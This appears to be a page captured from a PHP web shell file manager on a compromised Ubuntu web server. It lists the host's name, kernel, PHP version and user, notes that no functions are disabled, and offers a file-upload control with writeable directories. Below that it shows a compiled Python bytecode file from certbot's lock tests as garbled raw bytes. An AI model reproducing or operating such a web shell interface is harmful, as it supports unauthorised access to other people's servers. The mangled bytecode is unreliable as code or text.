KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /lib/python3/dist-packages/certbot/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/certbot/tests/__pycache__/lock_test.cpython-38.pyc
U

�]~�@s�dZddlZddlZddlZzddlZWnek
r@dZYnXdZddlZddlm	Z	ddl
mZddlm
ZGdd	�d	ej�ZGd
d�dej�Zedkr�e��dS)
zTests for certbot.lock.�NFT)�errors)�os)�utilc@s$eZdZdZedd��Zdd�ZdS)�LockDirTestz Tests for certbot.lock.lock_dir.cOsddlm}|||�S)Nr)�lock_dir)�certbot.lockr)�cls�args�kwargsr�r�9/usr/lib/python3/dist-packages/certbot/tests/lock_test.py�_callszLockDirTest._callcCs8t�|jtj|j|j�}tj�	|jd�}t
�||�dS)Nz
.certbot.lock)�	functools�partial�assertRaisesr�	LockErrorr
�tempdirr�path�join�	test_util�
lock_and_call)�self�
assert_raises�	lock_pathrrr�test_its�zLockDirTest.test_itN)�__name__�
__module__�__qualname__�__doc__�classmethodr
rrrrrrs
rcs~eZdZdZedd��Z�fdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Ze�
d�dd��Zdd�Zdd�Zdd�Z�ZS)�LockFileTestz Tests for certbot.lock.LockFile.cOsddlm}|||�S)Nr)�LockFile)rr!)rr	r
r!rrrr
#szLockFileTest._callcs$tt|���tj�|jd�|_dS)Nz	test.lock)�superr �setUprrrrr)r��	__class__rrr#(szLockFileTest.setUpcCsRtj|j|jfd�}|��|��|�|jd�|�t	j
�|j��|��dS)N)�targetr	r)
�multiprocessingZProcessr
r�startrZassertEqualZexitcode�
assertTruerr�exists�test_removed)rZchildrrr�test_acquire_without_deletion,s�z*LockFileTest.test_acquire_without_deletioncCs*t�|jtj|j|j�}t�||j�dS�N)	rrrrrr
rrr)rrrrr�test_contention8s�zLockFileTest.test_contentioncCsB|�|j�}z&t|�}|�||�|�d|k�W5|��XdS)NZacquired�r
r�release�repr�_test_repr_commonr))r�	lock_fileZlocked_reprrrr�test_locked_repr=szLockFileTest.test_locked_reprcCs:|�|j�}|��t|�}|�||�|�d|k�dS)NZreleasedr/)rr3Z
released_reprrrr�test_released_reprFs
zLockFileTest.test_released_reprcCs&|�|jj|k�|�|j|k�dSr-)r)r%rr)rr3Z	lock_reprrrrr2MszLockFileTest._test_repr_commonzWRace conditions on lock are specific to the non-blocking file access approach on Linux.c	sZddg�ddlm����fdd�}t�d��}||_���j�W5QRX����dS)NTFr)�statcs&|�jkr��d�rt�|��|�S)z-Wrap os.stat and maybe delete the file first.r)r�popr�remove)r�rZ
should_deleter6rr�delete_and_statZs
z/LockFileTest.test_race.<locals>.delete_and_stat�certbot.lock.filesystem.os.stat)rr6�mock�patch�side_effectr
r�assertFalse)rr:Z	mock_statrr9r�	test_raceQszLockFileTest.test_racecCs,|�|j�}|��|�tj�|j��dSr-)r
rr0r?rrr*)rr3rrrr+eszLockFileTest.test_removedcCs�tr
d}nd}d}t�|��`}t|�|_z|�|j�Wn4tk
rl}z|�|t|�k�W5d}~XYnX|�	d�W5QRXdS)Nzcertbot.lock.fcntl.lockf�certbot.lock.msvcrt.locking�hi therezIOError not raised)
�
POSIX_MODEr<r=�IOErrorr>r
rr)�str�fail)rZmocked_function�msgZ	mock_lock�errrrr�$test_unexpected_lockf_or_locking_errjs
$z1LockFileTest.test_unexpected_lockf_or_locking_errcCs�tr
d}nd}d}t�|��`}t|�|_z|�|j�Wn4tk
rl}z|�|t|�k�W5d}~XYnX|�	d�W5QRXdS)Nr;rArBzOSError not raised)
rCr<r=�OSErrorr>r
rr)rErF)rZ
mock_functionrGZmock_osrHrrr�test_unexpected_os_errys
$z#LockFileTest.test_unexpected_os_err)rrrrrr
r#r,r.r4r5r2rZskip_on_windowsr@r+rIrK�
__classcell__rrr$rr !s 
	�
r �__main__)rrr'ZunittestZfcntl�ImportErrorrCr<ZcertbotrZcertbot.compatrZ
certbot.testsrrZTempDirTestCaserr r�mainrrrr�<module>s 
i

Anon7 - 2021